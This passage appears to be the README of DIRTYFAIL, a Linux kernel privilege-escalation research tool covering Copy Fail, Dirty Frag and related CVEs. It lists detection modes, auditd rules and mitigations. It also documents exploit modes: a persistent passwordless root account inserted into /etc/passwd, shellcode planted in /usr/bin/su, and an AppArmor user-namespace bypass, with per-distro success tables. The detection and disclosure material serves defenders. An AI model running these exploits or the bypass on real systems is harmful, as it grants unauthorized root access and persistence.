any userspace using AF_ALG AEAD. See docs/DEFENDERS.md for the
full sysadmin playbook.
For ongoing detection independent of patching:
dirtyfail --scan --active (full sentinel-STORE
probe) or dirtyfail --scan --active --json for SIEM/fleet
ingestion. The tools/dirtyfail-check.sh bash variant has zero
build dependencies.tools/99-dirtyfail.rules is a drop-in auditd
ruleset covering the five syscall paths the exploit chain uses
(XFRM netlink registration, add_key("rxrpc"),
unshare(CLONE_NEWUSER), AF_ALG socket creation,
/etc/passwd//etc/shadow writes). Install with:
sudo install -m 0640 tools/99-dirtyfail.rules /etc/audit/rules.d/
sudo augenrules --load && sudo systemctl restart auditd
tools/dirtyfail-container-escape.sh shows that the kernel page
cache is shared across namespaces — useful for explaining the
cross-tenant impact to operators.DIRTYFAIL is a research tool. The vulnerabilities it covers are
already publicly disclosed with weaponized PoCs in the wild
(see Credits) — DIRTYFAIL adds detection coverage,
unified documentation, and a gentler PoC variant (UID-flip vs ELF
overwrite of /usr/bin/su).
--exploit-* modes on systems you do not own or are
not explicitly authorized to test. Page-cache modifications are
reversible with drop_caches, but they are still privilege
escalation while they persist./tmp and exercise the kernel crypto API.These three features extend DIRTYFAIL with techniques first published
by 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo. Reimplemented
in DIRTYFAIL style; original credit lives in NOTICE.md.
Same xfrm-ESP no-COW path as CVE-2026-43284, but using
rfc4106(gcm(aes)) instead of authencesn(...). Two reasons it's
worth shipping alongside the authencesn variant:
algif_aead to mitigate
Copy Fail (CVE-2026-31431) is still vulnerable here — the GCM
path doesn't go through algif_aead.The 1-byte primitive (cfg_1byte_write) is what makes the persistent
backdoor mode feasible.
--exploit-backdoor picks the longest /etc/passwd line whose shell
is in {nologin, false, sync} and overwrites it byte-by-byte with
dirtyfail::0:0:<pad>:/:/bin/bash (length-matched). After installation,
su - dirtyfail from any user drops a root shell — no password prompt —
because pam_unix.so nullok accepts the empty password field.
The username dirtyfail is intentionally branded to this project so
it's easy to detect in any subsequent audit — defenders running
grep dirtyfail /etc/passwd (or any HIDS doing the same) will spot
the line immediately. If you need a different identifier for a
specific red-team engagement, change NEW_USER and DF_PREFIX in
src/backdoor.c.
The on-disk file is unchanged; the substitution lives in the page
cache only. --cleanup-backdoor restores the original line via the
same primitive.
Ubuntu 24.04+ ships apparmor_restrict_unprivileged_userns=1. The
default profile applied to unprivileged binaries lets unshare(USER)
succeed but strips CAP_NET_ADMIN in the new namespace. XFRM SA
registration then fails silently.
The bypass: write "exec crun" to /proc/self/attr/exec and
execv to switch into AppArmor's crun profile, which has
flags=(unconfined) and explicit userns, permission. After the
exec, unshare(CLONE_NEWUSER | CLONE_NEWNET) succeeds with full
caps inside the new namespace.
DIRTYFAIL handles this per-exploit-mode via a fork: parent stays
in init namespace, child does the bypass + kernel work, parent
reads global page cache and runs su for real init-ns root. See
§8.5 Architecture
for the full chain. The legacy --aa-bypass flag (which armed the
bypass for the whole process) is retained for debugging only.
The original technique is from aa-rootns.c by 0xdeadbeefnetwork
(credited there to Brad Spengler / grsecurity). DIRTYFAIL's
implementation:
kernel.apparmor_restrict_unprivileged_userns sysctl rather than
by reading /proc/self/attr/current (which still shows
"unconfined" on Ubuntu 24.04 even when the policy is restricting).crun rather than the two-hop
crun → chrome dance — the second hop caused intermittent
ENOSPC on Ubuntu 24.04.g_bypass_done flag after stage 2 so re-checks
short-circuit (preventing infinite re-exec loops that previously
exhausted the per-userns nesting cap).DIRTYFAIL is original code, but the techniques it implements were developed by the researchers below. Read their primary sources before deploying this tool — they are the canonical references.
Patch authors:
f4c50a4034e6 (Dirty Frag xfrm-ESP) — based on Hyunwoo Kim's v1
patch, with the merged shared-frag approach by Kuan-Ting Chen.MIT. See LICENSE.
Open an issue on this repository, or reach out at the address listed in the commit history. For coordinated disclosure of related issues, contact the upstream researchers above directly.
--cleanup-backdoordirtyfailNEW_USERsrc/backdoor.capparmor_restrict_unprivileged_userns=1 policy via a single-hop
change_onexec("crun") re-exec into an unconfined profile that
retains userns capabilities. Each exploit mode handles this
internally via a fork: parent stays in init namespace, child does
the bypass dance, parent reads global page cache and runs su for
REAL init-ns root. The legacy --aa-bypass flag still exists for
debugging the bypass mechanics in isolation. See §8.5 Architecture.| Distro | Kernel | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | Backdoor | SU shellcode |
|---|
| Ubuntu 24.04 LTS | 6.8.0-111-generic | AppArmor | 🛡² | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (not tested) |
| Debian 13.4 | 6.12.86+deb13 | none | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | 6.12.0-124.8.1.el10_1 | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | 6.19.10-300.fc44 | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | AppArmor (hardened) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |
| Distro | Copy Fail probe | ESP v4 probe | ESP v6 probe | RxRPC probe | GCM probe |
|---|
| Debian 13.4 | intact 🛡 | intact 🛡 | intact 🛡 | intact 🛡 | intact 🛡 |
| Fedora 44 | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | byte change ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | preconds ⏭ | sentinel changed ✅ |
| Ubuntu 26.04 | intact 🛡 | LSM-blocked 🛡 | LSM-blocked 🛡 | LSM-blocked 🛡 | LSM-blocked 🛡 |
crun//&unprivileged_userns (mixed)newuidmap/newgidmap (setuid root) successfully writes uid_map,
but setresuid(0) then succeeds while ioctl(SIOCSIFFLAGS) and
every other CAP_NET_ADMIN-gated syscall returns EPERM because the
capability denial is per-namespace, not per-uid.echo "" | su - dirtyfailuid=0(root)/etc/shadowsrc/exploit_su.caarch64-linux-gnu-asrxkad_verify_packet_1P_A[2..7]; same for C against B).| Fedora | sudo dnf install gcc make kernel-headers |
| Arch | sudo pacman -S base-devel |
| Mode | What it does |
|---|
--scan | Run all five detectors (default mode) |
--scan --active | Add a sentinel-file STORE probe per CVE — distinguishes preconds-met from actually-exploitable |
--scan --json | Emit a single JSON object on stdout (SIEM-friendly); logs go to stderr |
--check-copyfail / --check-esp / --check-esp6 / --check-rxrpc / --check-gcm | Per-CVE detection only |
| Mode | What it does |
|---|
--exploit-copyfail | UID flip via algif_aead 4-byte primitive |
--exploit-esp | UID flip via xfrm-ESP v4 (needs userns+CAP_NET_ADMIN) |
--exploit-esp6 | UID flip via xfrm-ESP v6 |
--exploit-rxrpc | Empty root password field via rxkad fcrypt brute force |
--exploit-gcm | UID flip via rfc4106(gcm(aes)) single-byte primitive |
--exploit-backdoor | PERSISTENT: insert dirtyfail::0:0:...:/:/bin/bash |
--exploit-su | V4bel-style: plant arch-specific shellcode at /usr/bin/su entry point. x86_64 tested end-to-end; aarch64 ships hardware-untested (gated behind DIRTYFAIL_AARCH64_TRUST_UNTESTED=1) |
| Mode | What it does |
|---|
--cleanup | Evict /etc/passwd from page cache (fadvise + drop_caches if root) |
--cleanup-backdoor | Restore the original /etc/passwd line from state file |
--cleanup-su | Restore /usr/bin/su entry-point bytes from state file |
--list-state | Report what (if anything) is currently planted; side-effect-free |
| What it does |
|---|
--mitigate | Blacklist algif_aead/esp4/esp6/rxrpc modules; set apparmor_restrict_unprivileged_userns=1; drop_caches. Side-effects: breaks IPsec, AFS |
--cleanup-mitigate | Remove the modprobe/sysctl files installed by --mitigate |
| Flag | Effect |
|---|
--no-shell | After a successful exploit, do NOT execve su — verify and revert |
--no-revert | With --no-shell, also skip the auto-revert (used by the container-escape demo) |
--active | Add active sentinel-STORE probes to --scan/--check-* |
--json | (with --scan) emit machine-readable output |
--no-color | Disable ANSI color |
--aa-bypass | (DEBUG only) force the AppArmor unprivileged-userns bypass — exploits do this internally, see §8.5 |
| Mode | Env vars |
|---|
esp / esp6 / gcm | DIRTYFAIL_INNER_MODE, DIRTYFAIL_TARGET_USER |
rxrpc | DIRTYFAIL_INNER_MODE=rxrpc, DIRTYFAIL_K_{A,B,C} (hex) — fcrypt brute force happens in the parent (no caps needed); the keys are passed to the child for the actual triggers |
backdoor-install / backdoor-cleanup | DIRTYFAIL_INNER_MODE, DIRTYFAIL_LINE_OFF, VICTIM_LINE, TARGET_LINE |
| Source | Researcher | Contribution |
|---|
| https://copy.fail/ | Anonymous | Original Copy Fail disclosure |
| https://github.com/Smarttfoxx/copyfail | Smarttfoxx | C PoC (shellcode-in-su variant) |
| https://github.com/rootsecdev/cve_2026_31431 | rootsecdev | Python detector + UID-flip PoC; the ergonomics of DIRTYFAIL's --exploit-copyfail mode follow this approach. |
| https://github.com/V4bel/dirtyfrag | Hyunwoo Kim (@v4bel) | Dirty Frag discovery, full chain PoC, kernel patches |
| https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo | 0xdeadbeefnetwork | GCM-variant exploit, IPv6 PoC, AppArmor userns bypass technique |
| https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/ | BleepingComputer | Public reporting |